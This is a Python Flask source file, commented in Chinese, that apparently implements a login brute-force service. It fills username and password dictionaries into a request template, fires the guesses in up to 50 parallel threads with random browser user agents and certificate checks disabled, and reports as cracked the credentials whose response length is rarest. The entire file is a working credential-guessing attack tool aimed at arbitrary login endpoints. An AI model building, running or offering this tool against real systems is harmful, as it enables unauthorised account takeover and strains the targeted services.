import random

from flask import Flask, request, jsonify
import requests
import threading
import uuid
# import datetime
import os
from collections import Counter
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime


app = Flask(__name__)

# 任务存储
tasks = {}

# 评率阈值（最低评率不能超过 20）
FREQUENCY_THRESHOLD = 20

# 线程池最大并发数（你可以调整）
MAX_THREADS = 50

def get_headers():
    user_agents = [
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 '
        '(KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 '
        '(KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36',
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 '
        '(KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/68.0',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) '
        'Gecko/20100101 Firefox/68.0',
        'Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/68.0']

    ua = random.choice(user_agents)
    headers = {
        'Accept': 'text/html,application/xhtml+xml,'
                  'application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7',
        'Cache-Control': 'max-age=0',
        'Connection': 'keep-alive',
        'DNT': '1',
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': ua,
    }
    return headers

def load_dict_from_file(filename):
    """ 从文件读取用户名或密码字典，按行解析 """
    if not os.path.exists(filename):
        return []

    with open(filename, "r", encoding="utf-8") as file:
        return [line.strip() for line in file if line.strip()]

USERNAME_DICT = load_dict_from_file("mynamedic.txt")
PASSWORD_DICT = load_dict_from_file("mypassword.txt")

def generate_payload(base_body, username, password):
    """ 按模式替换用户名和密码，不改变 body 格式 """
    return base_body.replace("aaaa", username).replace("bbbb", password)

def send_request(url, method, headers, body):
    """ 发送 HTTP 请求 """
    try:
        response = requests.request(method, url, headers=get_headers(), data=body, timeout=1,verify=False)
        # response = requests.request(method, url, headers=headers, data=body, timeout=5, verify=False)
        return response
    except requests.exceptions.RequestException:
        return None


def analyze_responses(responses):
    """
    分析所有响应的长度分布，找到评率最低的那个，
    若最低评率 ≤ 20，则认为该响应对应的 payload 为爆破成功
    """
    lengths = [len(r.text) for r in responses if r]  # 获取所有有效响应的长度
    counter = Counter(lengths)  # 计算长度频率
    min_freq = min(counter.values())  # 获取最小评率

    # 如果最低评率小于等于 20，找出对应的 payload
    if min_freq <= FREQUENCY_THRESHOLD:
        success_length = min(counter, key=counter.get)  # 获取评率最低的长度
        return success_length
    return None

def execute_task(task_id):
    """ 执行爆破任务（并发版本） """
    task = tasks.get(task_id)
    if not task:
        return

    url = task["url"]
    method = task["method"]
    headers = task["headers"]
    base_body = task["body"]

    response_map = {}  # 存储响应长度和对应的用户名密码
    all_responses = []  # 存储所有请求的响应
    tested_payloads = []  # 记录已测试的 payload 和响应信息

    with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
        future_to_payload = {}  # 记录 future 对应的 payload

        for username in USERNAME_DICT:
            for password in PASSWORD_DICT:
                body = generate_payload(base_body, username, password)
                future = executor.submit(send_request, url, method, headers, body)
                future_to_payload[future] = (username, password)  # 绑定 payload

        for future in as_completed(future_to_payload):  # 确保每个 future 都有唯一的 username/password
            response = future.result()
            if response:
                response_length = len(response.text)
                username, password = future_to_payload[future]  # 取回 username 和 password
                response_map[response_length] = (username, password)
                all_responses.append(response)
                task["tested_payloads"].append({
                    "username": username,
                    "password": password,
                    "response_length": response_length
                })


    # 分析响应，找到评率最低的爆破成功 Payload
    success_length = analyze_responses(all_responses)

    if success_length:
        success_username, success_password = response_map[success_length]
        task["status"] = "success"
        task["success_username"] = success_username
        task["success_password"] = success_password
    else:
        task["status"] = "failed"


@app.route('/create_task', methods=['POST'])
def create_task():
    """ 创建任务并自动执行 """
    data = request.json

    # 校验数据完整性
    if not data or 'url' not in data or 'method' not in data:
        return jsonify({"error": "Invalid request data"}), 400

    # 生成任务 ID 和时间戳
    task_id = str(uuid.uuid4())
    timestamp = datetime.now().isoformat()

    # 存储任务
    tasks[task_id] = {
        "task_id": task_id,
        "url": data.get("url"),
        "method": data.get("method"),
        "headers": data.get("headers", {}),
        "body": data.get("body", ""),
        "timestamp": timestamp,
        "start_time": timestamp,
        "end_time": None,
        "status": "pending",
        "tested_payloads": []  # 记录测试的 payload 及响应长度
    }

    # 启动任务线程（并发版本）
    thread = threading.Thread(target=execute_task, args=(task_id,))
    thread.start()


    return jsonify({"message": "Task created and started", "task_id": task_id}), 201

@app.route('/tasks', methods=['GET'])
def get_all_tasks():
    task_list = []
    for task_id in tasks:
        task = tasks[task_id]
        task_info = {
            "task_id": task["task_id"],
            "status": task["status"],
            "url": task["url"],
            "method": task["method"],
            "timestamp": task["timestamp"],
            "rps": None,  # 默认值
            "success_credentials": {
                "username": task.get("success_username"),
                "password": task.get("success_password")
            } if task["status"] == "success" else None
        }

        # 计算 RPS
        if task["status"] in ["success", "failed"]:
            if task["start_time"] and task["end_time"]:
                start = datetime.fromisoformat(task["start_time"])
                end = datetime.fromisoformat(task["end_time"])
                duration = (end - start).total_seconds()
                total = len(task["tested_payloads"])
                if duration > 0:
                    task_info["rps"] = round(total / duration, 2)

        # 实时 RPS（任务执行中）
        elif task["status"] == "pending" and task["start_time"]:
            start = datetime.fromisoformat(task["start_time"])
            now = datetime.now()
            duration = (now - start).total_seconds()
            total = len(task["tested_payloads"])
            if duration > 0:
                task_info["rps"] = round(total / duration, 2)

        task_list.append(task_info)

    return jsonify(task_list)

@app.route('/task_status/<task_id>', methods=['GET'])
def get_task_status(task_id):
    """ 查询单个任务的爆破详情，包括已测试的 payload 和响应长度 """
    task = tasks.get(task_id)
    if not task:
        return jsonify({"error": "Task not found"}), 404

    return jsonify({
        "task_id": task["task_id"],
        "status": task["status"],
        "url": task["url"],
        "method": task["method"],
        "timestamp": task["timestamp"],
        "tested_payloads": task["tested_payloads"],  # 已测试的用户名、密码及对应的响应长度
        "username": task.get("username"),  # 成功的用户名（如果有）
        "password": task.get("password")   # 成功的密码（如果有）
    })

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=4646)
